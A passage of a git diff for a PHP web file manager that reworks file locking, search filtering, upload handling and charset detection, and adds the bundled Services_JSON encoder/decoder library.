get_path_this($path){ - $path = str_replace('\\','/', rtrim(trim($path),'/')); + $path = str_replace('\\','/', rtrim($path,'/')); $pos = strrpos($path,'/'); if($pos === false){ return $path; @@ -234,7 +234,7 @@ function get_path_this($path){ * /test/11/==>/test/ /test/1.c ==>/www/test/ */ function get_path_father($path){ - $path = str_replace('\\','/', rtrim(trim($path),'/')); + $path = str_replace('\\','/', rtrim($path,'/')); $pos = strrpos($path,'/'); if($pos === false){ return $path; @@ -254,7 +254,7 @@ function get_path_ext($path){ if (strlen($ext)>3 && preg_match("/([\x81-\xfe][\x40-\xfe])/", $ext, $match)) { $ext = ''; } - return clear_html($ext); + return htmlspecialchars($ext); } @@ -650,76 +650,72 @@ function recursion_dir($path,&$dir,&$file,$deepest=-1,$deep=0){ return true; } - // 安全读取文件,避免并发下读取数据为空 -function file_read_safe($file,$timeout = 0.1){ +function file_read_safe($file,$timeout = 5){ clearstatcache(); if(!$file || !file_exists($file)) return false; - - $start_time = microtime(true); - $index = 0; + $fp = fopen($file, 'r+'); + if(!$fp) return false; + $startTime = microtime(true); do{ - clearstatcache(); - $index++; - $file_size = filesize($file); - $result = @file_get_contents($file); - if( $result === false || - !file_exists($file) || - strlen($result) !== $file_size){ - usleep(round(rand(0,1000)*50));//0.01~10ms - }else{ - return $result; + $canWrite = flock($fp, LOCK_EX | LOCK_NB);//必须加上LOCK_NB,否则设置超时无效 + if(!$canWrite){ + usleep(round(mt_rand(0, 100) * 1000));//随机等待0~100ms } - }while($index<=100 && (microtime(true)-$start_time) < $timeout ); - return false; + } while((!$canWrite) && ((microtime(true) - $startTime) < $timeout ));//设置超时时间 + if($canWrite){ + $result = ""; + while (!feof($fp)) { + $result .= fread($fp, 409600); + } + flock($fp,LOCK_UN);fclose($fp); + return $result; + }else{ + flock($fp,LOCK_UN);fclose($fp); + return false; + } } // 安全读取文件,避免并发下读取数据为空 -function file_wirte_safe($file,$buffer,$timeout=0.1){ +function file_wirte_safe($file,$buffer,$timeout=5){ clearstatcache(); - $fileTemp = $file.'.'.time().rand_string(5); - if(!$fp = fopen($fileTemp, "w")){ - @unlink($fileTemp); + if(strlen($file) == 0 || !$file || !file_exists($file)) return false; + $fp = fopen($file,'r+'); + $startTime = microtime(true); + do{ + $canWrite = flock($fp, LOCK_EX | LOCK_NB);//必须加上LOCK_NB,否则设置超时无效 + if(!$canWrite){ + usleep(round(mt_rand(0, 100) * 1000));//随机等待0~100ms + } + } while((!$canWrite) && ((microtime(true) - $startTime) < $timeout ));//设置超时时间 + if($canWrite){ + ftruncate($fp,0); + rewind($fp); + fwrite($fp,$buffer); + flock($fp,LOCK_UN);fclose($fp); + return true; + }else{ + flock($fp,LOCK_UN);fclose($fp); return false; } - fwrite($fp, $buffer); - fclose($fp); - - $file_lock = $file.'.lock'; - $start_time = microtime(true); - $index = 0; - do{ - clearstatcache(); - $index++; - if(!file_exists($file_lock)){ - @rename($file,$file_lock); - } - $result = @rename($fileTemp,$file); - if( $result === false || file_exists($fileTemp)){ - usleep(round(rand(0,1000)*10));//0.01~10ms - }else{ - @unlink($file_lock); - return true; - } - }while($index<=100 && (microtime(true)-$start_time)<$timeout ); - return false; } + /* * $search 为包含的字符串 * is_content 表示是否搜索文件内容;默认不搜索 * is_case 表示区分大小写,默认不区分 */ function path_search($path,$search,$is_content=false,$file_ext='',$is_case=false){ + $result = array(); + $result['fileList'] = array(); + $result['folderList'] = array(); + if(!$path) return $result; + $ext_arr = explode("|",$file_ext); recursion_dir($path,$dirs,$files,-1,0); $strpos = 'stripos';//是否区分大小写 if ($is_case) $strpos = 'strpos'; - - $result = array(); - $result['fileList'] = array(); - $result['folderList'] = array(); - $result_num = 0; $result_num_max = 2000;//搜索文件内容,限制最多匹配条数 foreach($files as $f){ @@ -727,15 +723,16 @@ function path_search($path,$search,$is_content=false,$file_ext='',$is_case=false $result['error_info'] = $result_num_max; break; } + + //若指定了扩展名则只在匹配扩展名文件中搜索 + $ext = get_path_ext($f); + if($file_ext != '' && !in_array($ext,$ext_arr)){ + continue; + } //搜索内容则不搜索文件名 if ($is_content) { - $ext = get_path_ext($f); - if ($file_ext != '') { //若指定了扩展名则只在匹配扩展名文件中搜索 - if(!in_array($ext,$ext_arr)) continue; - }else{ - if(!is_text_file($ext)) continue; //在限定中或者不在bin中 - } + if(!is_text_file($ext)) continue; //在限定中或者不在bin中 $search_info = file_search($f,$search,$is_case); if($search_info !== false){ $result_num += count($search_info['searchInfo']); @@ -749,7 +746,7 @@ function path_search($path,$search,$is_content=false,$file_ext='',$is_case=false } } } - if (!$is_content) {//没有指定搜索文件内容,才搜索文件夹 + if (!$is_content && $file_ext == '' ) {//没有指定搜索文件内容,且没有限定扩展名,才搜索文件夹 foreach($dirs as $f){ $path_this = get_path_this($f); if ($strpos($path_this,$search) !== false){ @@ -774,6 +771,11 @@ function file_search($path,$search,$is_case){ return false; } $content = file_get_contents($path); + if( $strpos($content,"\0") > 0 ){// 不是文本文档 + unset($content); + return false; + } + $charset = get_charset($content); //搜索关键字为纯英文则直接搜索;含有中文则转为utf8再搜索,为兼容其他文件编码格式 @@ -1008,6 +1010,10 @@ function file_put_out($file,$download=-1,$downFilename=false){ }else{ header('Content-Type: '.$mime); header('Content-Disposition: inline;filename='.$headerName); + if(strstr($mime,'text/')){ + //$charset = get_charset(file_get_contents($file)); + header('Content-Type: '.$mime.'; charset=');//避免自动追加utf8导致gbk网页乱码 + } } //缓存文件 @@ -1073,8 +1079,8 @@ function file_put_out($file,$download=-1,$downFilename=false){ $cur = $start; fseek($fp, $start,0); while(!feof($fp) && $cur <= $end){ // && (connection_status() == 0) - print fread($fp, min(1024 * 100, ($end - $cur) + 1)); - $cur += 1024 * 100; + print fread($fp, min(1024 * 200, ($end - $cur) + 1)); + $cur += 1024 *200; flush(); } fclose($fp); @@ -1103,7 +1109,7 @@ function file_download_this($from, $fileName,$headerSize=0){ ){ break; } - fwrite($downloadFp, fread($fp, 1024 * 8 ), 1024 * 8); + fwrite($downloadFp, fread($fp, 1024 * 200 ), 1024 * 200); } //下载完成,重命名临时文件到目标文件 fclose($downloadFp); @@ -1165,7 +1171,7 @@ function get_post_max(){ $upload = intval($upload)*1024*1024*0.8; $post = intval($post)*1024*1024*0.8; $the_max = $upload<$post?$upload:$post; - return $the_max==0?1024*1024*0.6:$the_max;//获取不到则800k + return $the_max==0?1024*1024*0.5:$the_max;//获取不到则500k } @@ -1194,7 +1200,7 @@ function kod_move_uploaded_file($fromPath,$savePath){ $out = @fopen($tempPath, "wb"); if(!$in || !$out) return false; while (!feof($in)) { - fwrite($out, fread($in, 409600)); + fwrite($out, fread($in, 1024*200)); } fclose($in); fclose($out); @@ -1210,17 +1216,27 @@ function kod_move_uploaded_file($fromPath,$savePath){ } function check_upload($error){ $status = array( - 'UPLOAD_ERR_OK', //没有错误发生,文件上传成功。 - 'UPLOAD_ERR_INI_SIZE', //上传的文件超过了php.ini 中 upload_max_filesize 选项限制的值。 - 'UPLOAD_ERR_FORM_SIZE', //上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。 - 'UPLOAD_ERR_PARTIAL', //文件只有部分被上传。 - 'UPLOAD_ERR_NO_FILE', //没有文件被上传。 - 'UPLOAD_ERR_NO_TMP_DIR',//找不到临时文件夹。php 4.3.10 和 php 5.0.3 引进。 - 'UPLOAD_ERR_CANT_WRITE',//文件写入失败。php 5.1.0 引进。 + 'UPLOAD_ERR_OK', //0 没有错误发生,文件上传成功。 + 'UPLOAD_ERR_INI_SIZE', //1 上传的文件超过了php.ini 中 upload_max_filesize 选项限制的值。 + 'UPLOAD_ERR_FORM_SIZE', //2 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。 + 'UPLOAD_ERR_PARTIAL', //3 文件只有部分被上传。 + 'UPLOAD_ERR_NO_FILE', //4 没有文件被上传。 + 'UPLOAD_UNKNOW', //5 未定义 + 'UPLOAD_ERR_NO_TMP_DIR',//6 找不到临时文件夹。php 4.3.10 和 php 5.0.3 引进。 + 'UPLOAD_ERR_CANT_WRITE',//7 文件写入失败。php 5.1.0 引进。 ); return $error.':'.$status[$error]; } +//拍照上传 +function updload_ios_check($fileName,$in){ + if(!is_wap()) return $fileName; + if($fileName == "image.jpg" || $fileName == "image.jpeg"){ + return date('YmdHis',time()).'-'.rand_string(4,1).'.jpg'; + } + return $fileName; +} + /** * 文件上传处理。大文件支持分片上传 * upload('file','D:/www/'); @@ -1237,22 +1253,18 @@ function upload($path,$tempPath,$repeatAction='replace'){ if(!$uploadFile && $_FILES[$fileInput]['error']>0){ show_json(check_upload($_FILES[$fileInput]['error']),false); } - if($fileName == "image.jpg" && is_wap()){//拍照上传 - $fileName = iconv_system(path_clear_name($in["lastModifiedDate"])).'.jpg'; - } + $fileName = updload_ios_check($fileName,$in);//拍照上传 }else if (isset($in["name"])) { $fileName = iconv_system(path_clear_name($in["name"])); $uploadFile = "php://input"; if(isset($in['base64Upload'])){ $uploadFile = "base64"; } - if($fileName == "image.jpg" && is_wap()){//拍照上传 - $fileName = iconv_system(path_clear_name($in["lastModifiedDate"])).'.jpg'; - } + $fileName = updload_ios_check($fileName,$in);//拍照上传 }else if( isset($in["check_md5"]) ) {//断点续传检测 - $fileName = iconv_system(path_clear_name($in["file_name"])); - $savePath = get_filename_auto($path.$fileName,""); //自动重命名 - return upload_chunk("",$tempPath,$savePath); + $fileName = iconv_system(path_clear_name($in["name"])); + $savePath = get_filename_auto($path.$fileName,""); //自动重命名 + return upload_chunk("--check_md5--",$tempPath,$savePath); }else{ show_json('param error',false); } @@ -1269,6 +1281,10 @@ function upload($path,$tempPath,$repeatAction='replace'){ return upload_chunk($uploadFile,$tempPath,$savePath); } if(kod_move_uploaded_file($uploadFile,$savePath)){ + if( isset($in['size']) && filesize($savePath) != $in['size'] ){ + unlink($savePath); + show_json('move_error',false); + } Hook::trigger('uploadFileAfter',$savePath); show_json('upload_success',true,iconv_app(_DIR_OUT($savePath))); }else { @@ -1310,7 +1326,7 @@ function upload_chunk($uploadFile,$tempPath,$savePath){ } } if (!$done){ - show_json('upload_success',true,'chunk_'.$chunk.' success!'); + show_json('upload_success',true); }else{ $savePathTemp = $tempFilePre.mtime(); if(!$out = fopen($savePathTemp, "wb")){ @@ -1328,7 +1344,7 @@ function upload_chunk($uploadFile,$tempPath,$savePath){ show_json('open chunk error! cur='.$chunk.';index='.$index,false); } while (!feof($fp_in)) { - fwrite($out, fread($fp_in, 409600)); + fwrite($out, fread($fp_in,1024*200)); } fclose($fp_in); unlink($chunk_file); @@ -1338,6 +1354,10 @@ function upload_chunk($uploadFile,$tempPath,$savePath){ } } $res = rename($savePathTemp,$savePath); + if( isset($in['size']) && filesize($savePath) != $in['size'] ){ + unlink($savePath); + show_json('move_error',false); + } if(!$res){ unlink($savePath); $res = rename($savePathTemp,$savePath); diff --git a/app/function/helper.function.php b/app/function/helper.function.php index e8e7abe..0fb143e 100755 --- a/app/function/helper.function.php +++ b/app/function/helper.function.php @@ -2,6 +2,7 @@ //扩展名权限判断 有权限则返回1 不是true function checkExt($file){ + if($GLOBALS['isRoot']) return 1; if (strstr($file,'<') || strstr($file,'>') || $file=='') { return 0; } @@ -148,12 +149,12 @@ function get_charset(&$str) { $charsetGet = $charset; if ($charset == 'cp936'){ // 有交叉,部分文件无法识别 - if(charset_check($str,'gbk') && charset_check($str,'gbk','big5')){ - $charset = 'gbk'; - }else if(charset_check($str,'big5') && charset_check($str,'big5','gbk')){ - $charset = 'big5'; - }else if(charset_check($str,'ISO-8859-4')){ + if(charset_check($str,'ISO-8859-4') && !charset_check($str,'gbk') && !charset_check($str,'big5')){ $charset = 'ISO-8859-4'; + }elseif(charset_check($str,'gbk') && !charset_check($str,'big5')){ + $charset = 'gbk'; + }else if(charset_check($str,'big5')){ + $charset = 'big5'; } }else if ($charset == 'euc-cn'){ $charset = 'gbk'; @@ -165,8 +166,8 @@ function get_charset(&$str) { $check = array( 'utf-8' => $charset, 'utf-16' => 'gbk', - 'cp1252' => 'utf-8', 'cp1251' => 'utf-8', + 'cp1252' => 'utf-8' ); foreach($check as $key => $val){ if(charset_check($str,$key,$val)){ @@ -211,6 +212,7 @@ function check_list_dir(){ function php_env_check(){ $error = ''; if(!function_exists('iconv')) $error.= '
  • '.LNG('php_env_error').' iconv
  • '; + if(!function_exists('json_encode')) $error.= '
  • '.LNG('php_env_error').' json
  • '; if(!function_exists('curl_init')) $error.= '
  • '.LNG('php_env_error').' curl
  • '; if(!function_exists('mb_convert_encoding')) $error.= '
  • '.LNG('php_env_error').' mb_string
  • '; if(!function_exists('file_get_contents')) $error.='
  • '.LNG('php_env_error').' file_get_contents
  • '; @@ -383,7 +385,8 @@ function user_logout(){ setcookie('X-CSRF-TOKEN','',time()-3600); $url = './index.php?user/login'; - if(ACT != 'logout'){ //不是主动退出则登陆后跳转到之前页面 + //之前界面维持,不是主动退出则登陆后跳转到之前页面 + if(ACT != 'logout' && count($_GET)!=0 ){ $url .= '&link='.rawurlencode(this_url()); } header('Location:'.$url); @@ -484,5 +487,5 @@ function check_user_select($info){ return true; } } - return false; + return false; } diff --git a/app/function/others/JSON.php b/app/function/others/JSON.php new file mode 100755 index 0000000..5bbf81e --- /dev/null +++ b/app/function/others/JSON.php @@ -0,0 +1,788 @@ + + * @author Matt Knapp + * @author Brett Stimmerman + * @copyright 2005 Michal Migurski + * @version CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $ + * @license http://www.opensource.org/licenses/bsd-license.php + * @link http://pear.php.net/pepr/pepr-proposal-show.php?id=198 + */ + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_SLICE', 1); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_STR', 2); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_ARR', 3); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_OBJ', 4); + +/** + * Marker constant for Services_JSON::decode(), used to flag stack state + */ +define('SERVICES_JSON_IN_CMT', 5); + +/** + * Behavior switch for Services_JSON::decode() + */ +define('SERVICES_JSON_LOOSE_TYPE', 16); + +/** + * Behavior switch for Services_JSON::decode() + */ +define('SERVICES_JSON_SUPPRESS_ERRORS', 32); + +/** + * Converts to and from JSON format. + * + * Brief example of use: + * + * + * // create a new instance of Services_JSON + * $json = new Services_JSON(); + * + * // convert a complexe value to JSON notation, and send it to the browser + * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); + * $output = $json->encode($value); + * + * print($output); + * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] + * + * // accept incoming POST data, assumed to be in JSON notation + * $input = file_get_contents('php://input', 1000000); + * $value = $json->decode($input); + * + */ +class Services_JSON +{ + /** + * constructs a new JSON instance + * + * @param int $use object behavior flags; combine with boolean-OR + * + * possible values: + * - SERVICES_JSON_LOOSE_TYPE: loose typing. + * "{...}" syntax creates associative arrays + * instead of objects in decode(). + * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. + * Values which can't be encoded (e.g. resources) + * appear as NULL instead of throwing errors. + * By default, a deeply-nested resource will + * bubble up with an error, so all return values + * from encode() should be checked with isError() + */ + function __construct($use = 0) + { + $this->use = $use; + } + + /** + * convert a string from one UTF-16 char to one UTF-8 char + * + * Normally should be handled by mb_convert_encoding, but + * provides a slower PHP-only method for installations + * that lack the multibye string extension. + * + * @param string $utf16 UTF-16 character + * @return string UTF-8 character + * @access private + */ + function utf162utf8($utf16) + { + // oh please oh please oh please oh please oh please + if(function_exists('mb_convert_encoding')) { + return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); + } + + $bytes = (ord($utf16{0}) << 8) | ord($utf16{1}); + + switch(true) { + case ((0x7F & $bytes) == $bytes): + // this case should never be reached, because we are in ASCII range + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0x7F & $bytes); + + case (0x07FF & $bytes) == $bytes: + // return a 2-byte UTF-8 character + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0xC0 | (($bytes >> 6) & 0x1F)) + . chr(0x80 | ($bytes & 0x3F)); + + case (0xFFFF & $bytes) == $bytes: + // return a 3-byte UTF-8 character + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0xE0 | (($bytes >> 12) & 0x0F)) + . chr(0x80 | (($bytes >> 6) & 0x3F)) + . chr(0x80 | ($bytes & 0x3F)); + } + + // ignoring UTF-32 for now, sorry + return ''; + } + + /** + * convert a string from one UTF-8 char to one UTF-16 char + * + * Normally should be handled by mb_convert_encoding, but + * provides a slower PHP-only method for installations + * that lack the multibye string extension. + * + * @param string $utf8 UTF-8 character + * @return string UTF-16 character + * @access private + */ + function utf82utf16($utf8) + { + // oh please oh please oh please oh please oh please + if(function_exists('mb_convert_encoding')) { + return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); + } + + switch(strlen($utf8)) { + case 1: + // this case should never be reached, because we are in ASCII range + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return $utf8; + + case 2: + // return a UTF-16 character from a 2-byte UTF-8 char + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr(0x07 & (ord($utf8{0}) >> 2)) + . chr((0xC0 & (ord($utf8{0}) << 6)) + | (0x3F & ord($utf8{1}))); + + case 3: + // return a UTF-16 character from a 3-byte UTF-8 char + // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + return chr((0xF0 & (ord($utf8{0}) << 4)) + | (0x0F & (ord($utf8{1}) >> 2))) + . chr((0xC0 & (ord($utf8{1}) << 6)) + | (0x7F & ord($utf8{2}))); + } + + // ignoring UTF-32 for now, sorry + return ''; + } + + /** + * encodes an arbitrary variable into JSON format + * + * @param mixed $var any number, boolean, string, array, or object to be encoded. + * see argument 1 to Services_JSON() above for array-parsing behavior. + * if var is a strng, note that encode() always expects it + * to be in ASCII or UTF-8 format! + * + * @return mixed JSON string representation of input var or an error if a problem occurs + * @access public + */ + function encode($var) + { + switch (gettype($var)) { + case 'boolean': + return $var ? 'true' : 'false'; + + case 'NULL': + return 'null'; + + case 'integer': + return (int) $var; + + case 'double': + case 'float': + return (float) $var; + + case 'string': + // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT + $ascii = ''; + $strlen_var = strlen($var); + + /* + * Iterate over every character in the string, + * escaping with a slash or encoding to UTF-8 where necessary + */ + for ($c = 0; $c < $strlen_var; ++$c) { + + $ord_var_c = ord($var{$c}); + + switch (true) { + case $ord_var_c == 0x08: + $ascii .= '\b'; + break; + case $ord_var_c == 0x09: + $ascii .= '\t'; + break; + case $ord_var_c == 0x0A: + $ascii .= '\n'; + break; + case $ord_var_c == 0x0C: + $ascii .= '\f'; + break; + case $ord_var_c == 0x0D: + $ascii .= '\r'; + break; + + case $ord_var_c == 0x22: + case $ord_var_c == 0x2F: + case $ord_var_c == 0x5C: + // double quote, slash, slosh + $ascii .= '\\'.$var{$c}; + break; + + case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): + // characters U-00000000 - U-0000007F (same as ASCII) + $ascii .= $var{$c}; + break; + + case (($ord_var_c & 0xE0) == 0xC0): + // characters U-00000080 - U-000007FF, mask 110XXXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, ord($var{$c + 1})); + $c += 1; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF0) == 0xE0): + // characters U-00000800 - U-0000FFFF, mask 1110XXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2})); + $c += 2; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xF8) == 0xF0): + // characters U-00010000 - U-001FFFFF, mask 11110XXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3})); + $c += 3; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFC) == 0xF8): + // characters U-00200000 - U-03FFFFFF, mask 111110XX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4})); + $c += 4; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + + case (($ord_var_c & 0xFE) == 0xFC): + // characters U-04000000 - U-7FFFFFFF, mask 1111110X + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $char = pack('C*', $ord_var_c, + ord($var{$c + 1}), + ord($var{$c + 2}), + ord($var{$c + 3}), + ord($var{$c + 4}), + ord($var{$c + 5})); + $c += 5; + $utf16 = $this->utf82utf16($char); + $ascii .= sprintf('\u%04s', bin2hex($utf16)); + break; + } + } + + return '"'.$ascii.'"'; + + case 'array': + /* + * As per JSON spec if any array key is not an integer + * we must treat the the whole array as an object. We + * also try to catch a sparsely populated associative + * array with numeric keys here because some JS engines + * will create an array with empty indexes up to + * max_index which can cause memory issues and because + * the keys, which may be relevant, will be remapped + * otherwise. + * + * As per the ECMA and JSON specification an object may + * have any string as a property. Unfortunately due to + * a hole in the ECMA specification if the key is a + * ECMA reserved word or starts with a digit the + * parameter is only accessible using ECMAScript's + * bracket notation. + */ + + // treat as a JSON object + if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { + $properties = array_map(array($this, 'name_value'), + array_keys($var), + array_values($var)); + + foreach($properties as $property) { + if(Services_JSON::isError($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + } + + // treat it like a regular array + $elements = array_map(array($this, 'encode'), $var); + + foreach($elements as $element) { + if(Services_JSON::isError($element)) { + return $element; + } + } + + return '[' . join(',', $elements) . ']'; + + case 'object': + $vars = get_object_vars($var); + + $properties = array_map(array($this, 'name_value'), + array_keys($vars), + array_values($vars)); + + foreach($properties as $property) { + if(Services_JSON::isError($property)) { + return $property; + } + } + + return '{' . join(',', $properties) . '}'; + + default: + return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) + ? 'null' + : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); + } + } + + /** + * array-walking function for use in generating JSON-formatted name-value pairs + * + * @param string $name name of key to use + * @param mixed $value reference to an array element to be encoded + * + * @return string JSON-formatted name-value pair, like '"name":value' + * @access private + */ + function name_value($name, $value) + { + $encoded_value = $this->encode($value); + + if(Services_JSON::isError($encoded_value)) { + return $encoded_value; + } + + return $this->encode(strval($name)) . ':' . $encoded_value; + } + + /** + * reduce a string by removing leading and trailing comments and whitespace + * + * @param $str string string value to strip of comments and whitespace + * + * @return string string value stripped of comments and whitespace + * @access private + */ + function reduce_string($str){ + $str = preg_replace(array( + + // eliminate single line comments in '// ...' form + '#^\s*//(.+)$#m', + + // eliminate multi-line comments in '/* ... */' form, at start of string + '#^\s*/\*(.+)\*/#Us', + + // eliminate multi-line comments in '/* ... */' form, at end of string + '#/\*(.+)\*/\s*$#Us' + + ), '', $str); + + // eliminate extraneous space + return trim($str); + } + + /** + * decodes a JSON string into appropriate variable + * + * @param string $str JSON-formatted string + * + * @return mixed number, boolean, string, array, or object + * corresponding to given JSON input string. + * See argument 1 to Services_JSON() above for object-output behavior. + * Note that decode() always returns strings + * in ASCII or UTF-8 format! + * @access public + */ + function decode($str) + { + $str = $this->reduce_string($str); + + switch (strtolower($str)) { + case 'true': + return true; + + case 'false': + return false; + + case 'null': + return null; + + default: + $m = array(); + + if (is_numeric($str)) { + // Lookie-loo, it's a number + + // This would work on its own, but I'm trying to be + // good about returning integers where appropriate: + // return (float)$str; + + // Return float or int, as appropriate + return ((float)$str == (integer)$str) + ? (integer)$str + : (float)$str; + + } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { + // STRINGS RETURNED IN UTF-8 FORMAT + $delim = substr($str, 0, 1); + $chrs = substr($str, 1, -1); + $utf8 = ''; + $strlen_chrs = strlen($chrs); + + for ($c = 0; $c < $strlen_chrs; ++$c) { + + $substr_chrs_c_2 = substr($chrs, $c, 2); + $ord_chrs_c = ord($chrs{$c}); + + switch (true) { + case $substr_chrs_c_2 == '\b': + $utf8 .= chr(0x08); + ++$c; + break; + case $substr_chrs_c_2 == '\t': + $utf8 .= chr(0x09); + ++$c; + break; + case $substr_chrs_c_2 == '\n': + $utf8 .= chr(0x0A); + ++$c; + break; + case $substr_chrs_c_2 == '\f': + $utf8 .= chr(0x0C); + ++$c; + break; + case $substr_chrs_c_2 == '\r': + $utf8 .= chr(0x0D); + ++$c; + break; + + case $substr_chrs_c_2 == '\\"': + case $substr_chrs_c_2 == '\\\'': + case $substr_chrs_c_2 == '\\\\': + case $substr_chrs_c_2 == '\\/': + if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || + ($delim == "'" && $substr_chrs_c_2 != '\\"')) { + $utf8 .= $chrs{++$c}; + } + break; + + case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)): + // single, escaped unicode character + $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2))) + . chr(hexdec(substr($chrs, ($c + 4), 2))); + $utf8 .= $this->utf162utf8($utf16); + $c += 5; + break; + + case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): + $utf8 .= $chrs{$c}; + break; + + case ($ord_chrs_c & 0xE0) == 0xC0: + // characters U-00000080 - U-000007FF, mask 110XXXXX + //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 2); + ++$c; + break; + + case ($ord_chrs_c & 0xF0) == 0xE0: + // characters U-00000800 - U-0000FFFF, mask 1110XXXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 3); + $c += 2; + break; + + case ($ord_chrs_c & 0xF8) == 0xF0: + // characters U-00010000 - U-001FFFFF, mask 11110XXX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 4); + $c += 3; + break; + + case ($ord_chrs_c & 0xFC) == 0xF8: + // characters U-00200000 - U-03FFFFFF, mask 111110XX + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 5); + $c += 4; + break; + + case ($ord_chrs_c & 0xFE) == 0xFC: + // characters U-04000000 - U-7FFFFFFF, mask 1111110X + // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 + $utf8 .= substr($chrs, $c, 6); + $c += 5; + break; + + } + + } + + return $utf8; + + } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { + // array, or object notation + + if ($str{0} == '[') { + $stk = array(SERVICES_JSON_IN_ARR); + $arr = array(); + } else { + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $stk = array(SERVICES_JSON_IN_OBJ); + $obj = array(); + } else { + $stk = array(SERVICES_JSON_IN_OBJ); + $obj = new stdClass(); + } + } + + array_push($stk, array('what' => SERVICES_JSON_SLICE, + 'where' => 0, + 'delim' => false)); + + $chrs = substr($str, 1, -1); + $chrs = $this->reduce_string($chrs); + + if ($chrs == '') { + if (reset($stk) == SERVICES_JSON_IN_ARR) { + return $arr; + + } else { + return $obj; + + } + } + + //print("\nparsing {$chrs}\n"); + + $strlen_chrs = strlen($chrs); + + for ($c = 0; $c <= $strlen_chrs; ++$c) { + + $top = end($stk); + $substr_chrs_c_2 = substr($chrs, $c, 2); + + if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { + // found a comma that is not inside a string, array, etc., + // OR we've reached the end of the character list + $slice = substr($chrs, $top['where'], ($c - $top['where'])); + array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); + //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + if (reset($stk) == SERVICES_JSON_IN_ARR) { + // we are in an array, so just push an element onto the stack + array_push($arr, $this->decode($slice)); + + } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { + // we are in an object, so figure + // out the property name and set an + // element in an associative array, + // for now + $parts = array(); + + if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + // "name":value pair + $key = $this->decode($parts[1]); + $val = $this->decode($parts[2]); + + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $obj[$key] = $val; + } else { + $obj->$key = $val; + } + } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) { + // name:value pair, where name is unquoted + $key = $parts[1]; + $val = $this->decode($parts[2]); + + if ($this->use & SERVICES_JSON_LOOSE_TYPE) { + $obj[$key] = $val; + } else { + $obj->$key = $val; + } + } + + } + + } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) { + // found a quote, and we are not inside a string + array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c})); + //print("Found start of string at {$c}\n"); + + } elseif (($chrs{$c} == $top['delim']) && + ($top['what'] 